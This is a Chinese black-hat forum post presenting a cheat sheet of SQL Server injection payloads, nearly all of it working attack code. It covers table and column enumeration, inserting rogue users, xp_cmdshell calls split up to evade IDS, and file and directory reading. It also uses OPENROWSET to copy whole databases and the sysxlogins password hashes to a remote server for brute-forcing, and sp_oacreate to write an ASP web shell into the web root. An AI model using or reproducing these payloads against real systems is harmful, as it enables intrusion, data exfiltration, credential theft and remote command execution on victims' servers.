黑帽联盟

 找回密码
 会员注册
查看: 1316|回复: 0
打印 上一主题 下一主题

[系统安全] SQL注入语句续篇

[复制链接]
yun 黑帽联盟官方人员 

920

主题

37

听众

1364

积分

超级版主

Rank: 8Rank: 8

  • TA的每日心情
    奋斗
    2019-10-18 11:20
  • 签到天数: 678 天

    [LV.9]以坛为家II

    过查看ffff的用户资料可得第一个用表叫ad
    然后根据表名ad得到这个表的ID 得到第二个表的名字
    insert into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)--
    insert into users values( 667,123,123,0xffff)--
    insert into users values ( 123, admin--, password, 0xffff)--
    ;and user>0
    ;and (select count(*) from sysobjects)>0
    ;and (select count(*) from mysysobjects)>0 //为access_blank>数据库
    枚举出数据表名

    ;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0);--
    这是将第一个表名更新到aaa的字段处。
    读出第一个表,第二个表可以这样读出来(在条件后加上 and name<>刚才得到的表名)。
    ;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0 and name<>vote);--
    然后id=1552 and exists(select * from aaa where aaa>5)
    读出第二个表,一个个的读出,直到没有为止。
    读字段是这样:
    ;update aaa set aaa=(select top 1 col_blank>_name(object_blank>_id(表名),1));--
    然后id=152 and exists(select * from aaa where aaa>5)出错,得到字段名
    ;update aaa set aaa=(select top 1 col_blank>_name(object_blank>_id(表名),2));--
    然后id=152 and exists(select * from aaa where aaa>5)出错,得到字段名
    [获得数据表名][将字段值更新为表名,再想法读出这个字段的值就可得到表名]
    update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>你得到的表名 查出一个加一个]) [ where 条件] select top 1 name from sysobjects where xtype=u and status>0 and name not in(table1,table2,…)
    通过SQLSERVER注入_blank>漏洞建_blank>数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组]
    [获得数据表字段名][将字段值更新为字段名,再想法读出这个字段的值就可得到字段名]
    update 表名 set 字段=(select top 1 col_blank>_name(object_blank>_id(要查询的数据表名),字段列如:1) [ where 条件]
    绕过IDS的检测[使用变量]
    ;declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:\
    ;declare @a sysname set @a=xp+_blank>_cm’+’dshell exec @a dir c:\

    1、 开启远程_blank>数据库
    基本语法
    select * from OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1 )
    参数: (1) OLEDB Provider name

    2、 其中连接字符串参数可以是任何端口用来连接,比如
    select * from OPENROWSET(SQLOLEDB, uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;, select * from table

    3.复制目标主机的整个_blank>数据库insert所有远程表到本地表。
    基本语法:
    insert into OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1) select * from table2

    这行语句将目标主机上table2表中的所有数据复制到远程_blank>数据库中的table1表中。实际运用中适当修改连接字符串的IP地址和端口,指向需要的地方,比如:
    insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select * from table2
    insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_sysdatabases)
    select * from master.dbo.sysdatabases
    insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_sysobjects)
    select * from user_blank>_database.dbo.sysobjects
    insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_syscolumns)
    select * from user_blank>_database.dbo.syscolumns

    复制_blank>数据库:
    insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select * from database..table1
    insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table2) select * from database..table2

    复制哈西表(HASH)登录_blank>密码的hash存储于sysxlogins中。方法如下:
    insert into OPENROWSET(SQLOLEDB, uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_sysxlogins) select * from database.dbo.sysxlogins

    得到hash之后,就可以进行暴力破解。
    遍历目录的方法: 先创建一个临时表:temp
    ;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
    ;insert temp exec master.dbo.xp_blank>_availablemedia;-- 获得当前所有驱动器
    ;insert into temp(id) exec master.dbo.xp_blank>_subdirs c:\;-- 获得子目录列表
    ;insert into temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\;-- 获得所有子目录的目录树结构,并寸入temp表中
    ;insert into temp(id) exec master.dbo.xp_blank>_cmdshell type c:\web\index.asp;-- 查看某个文件的内容
    ;insert into temp(id) exec master.dbo.xp_blank>_cmdshell dir c:\;--
    ;insert into temp(id) exec master.dbo.xp_blank>_cmdshell dir c:\ *.asp /s/a;--
    ;insert into temp(id) exec master.dbo.xp_blank>_cmdshell cscript C:\Inetpub\AdminScripts\adsutil.vbs enum w3svc
    ;insert into temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\;-- (xp_blank>_dirtree适用权限PUBLIC)
    写入表:
    语句1:and 1=(SELECT IS_blank>_SRVROLEMEMBER(sysadmin));--
    语句2:and 1=(SELECT IS_blank>_SRVROLEMEMBER(serveradmin));--
    语句3:and 1=(SELECT IS_blank>_SRVROLEMEMBER(setupadmin));--
    语句4:and 1=(SELECT IS_blank>_SRVROLEMEMBER(securityadmin));--
    语句5:and 1=(SELECT IS_blank>_SRVROLEMEMBER(securityadmin));--
    语句6:and 1=(SELECT IS_blank>_SRVROLEMEMBER(diskadmin));--
    语句7:and 1=(SELECT IS_blank>_SRVROLEMEMBER(bulkadmin));--
    语句8:and 1=(SELECT IS_blank>_SRVROLEMEMBER(bulkadmin));--
    语句9:and 1=(SELECT IS_blank>_MEMBER(db_blank>_owner));--
    把路径写到表中去:
    ;create table dirs(paths varchar(100), id int)--
    ;insert dirs exec master.dbo.xp_blank>_dirtree c:\--
    and 0<>(select top 1 paths from dirs)--
    and 0<>(select top 1 paths from dirs where paths not in(@Inetpub))--
    ;create table dirs1(paths varchar(100), id int)--
    ;insert dirs exec master.dbo.xp_blank>_dirtree e:\web--
    and 0<>(select top 1 paths from dirs1)--
    把_blank>数据库备份到网页目录:下载
    ;declare @a sysname; set @a=db_blank>_name();backup database @a to disk=e:\web\down.bak;--
    and 1=(Select top 1 name from(Select top 12 id,name from sysobjects where xtype=char(85)) T order by id desc)
    and 1=(Select Top 1 col_blank>_name(object_blank>_id(USER_blank>_LOGIN),1) from sysobjects) 参看相关表。
    and 1=(select user_blank>_id from USER_blank>_LOGIN)
    and 0=(select user from USER_blank>_LOGIN where user>1)
    -=- wscript.shell example -=-
    declare @o int
    exec sp_blank>_oacreate wscript.shell, @o out
    exec sp_blank>_oamethod @o, run, NULL, notepad.exe
    ; declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o, run, NULL, notepad.exe--
    declare @o int, @f int, @t int, @ret int
    declare @line varchar(8000)
    exec sp_blank>_oacreate scripting.filesystemobject, @o out
    exec sp_blank>_oamethod @o, opentextfile, @f out, c:\boot.ini, 1
    exec @ret = sp_blank>_oamethod @f, readline, @line out
    while( @ret = 0 )
    begin
    print @line
    exec @ret = sp_blank>_oamethod @f, readline, @line out
    end
    declare @o int, @f int, @t int, @ret int
    exec sp_blank>_oacreate scripting.filesystemobject, @o out
    exec sp_blank>_oamethod @o, createtextfile, @f out, c:\inetpub\wwwroot\foo.asp, 1
    exec @ret = sp_blank>_oamethod @f, writeline, NULL,
    <% set o = server.createobject("wscript.shell"): o.run( request.querystring("cmd") ) %>
    declare @o int, @ret int
    exec sp_blank>_oacreate speech.voicetext, @o out
    exec sp_blank>_oamethod @o, register, NULL, foo, bar
    exec sp_blank>_oasetproperty @o, speed, 150
    exec sp_blank>_oamethod @o, speak, NULL, all your sequel servers are belong to,us, 528
    waitfor delay 00:00:05
    ; declare @o int, @ret int exec sp_blank>_oacreate speech.voicetext, @o out exec sp_blank>_oamethod @o, register, NULL, foo, bar exec sp_blank>_oasetproperty @o, speed, 150 exec sp_blank>_oamethod @o, speak, NULL, all your sequel servers are belong to us, 528 waitfor delay 00:00:05--
    xp_blank>_dirtree适用权限PUBLIC
    exec master.dbo.xp_blank>_dirtree c:\
    返回的信息有两个字段subdirectory、depth。Subdirectory字段是字符型,depth字段是整形字段。
    create table dirs(paths varchar(100), id int)
    建表,这里建的表是和上面xp_blank>_dirtree相关连,字段相等、类型相同。
    insert dirs exec master.dbo.xp_blank>_dirtree c:\
    只要我们建表与存储进程返回的字段相定义相等就能够执行!达到写表的效果,一步步达到我们想要的信息!


    相关链接:https://bbs.cnblackhat.com/thread-424-1-1.html
    帖子永久地址: 

    黑帽联盟 - 论坛版权1、本主题所有言论和图片纯属会员个人意见,与本论坛立场无关
    2、本站所有主题由该帖子作者发表,该帖子作者与黑帽联盟享有帖子相关版权
    3、其他单位或个人使用、转载或引用本文时必须同时征得该帖子作者和黑帽联盟的同意
    4、帖子作者须承担一切因本文发表而直接或间接导致的民事或刑事法律责任
    5、本帖部分内容转载自其它媒体,但并不代表本站赞同其观点和对其真实性负责
    6、如本帖侵犯到任何版权问题,请立即告知本站,本站将及时予与删除并致以最深的歉意
    7、黑帽联盟管理员和版主有权不事先通知发贴者而删除本文

    您需要登录后才可以回帖 登录 | 会员注册

    发布主题 !fastreply! 收藏帖子 返回列表 搜索
    回顶部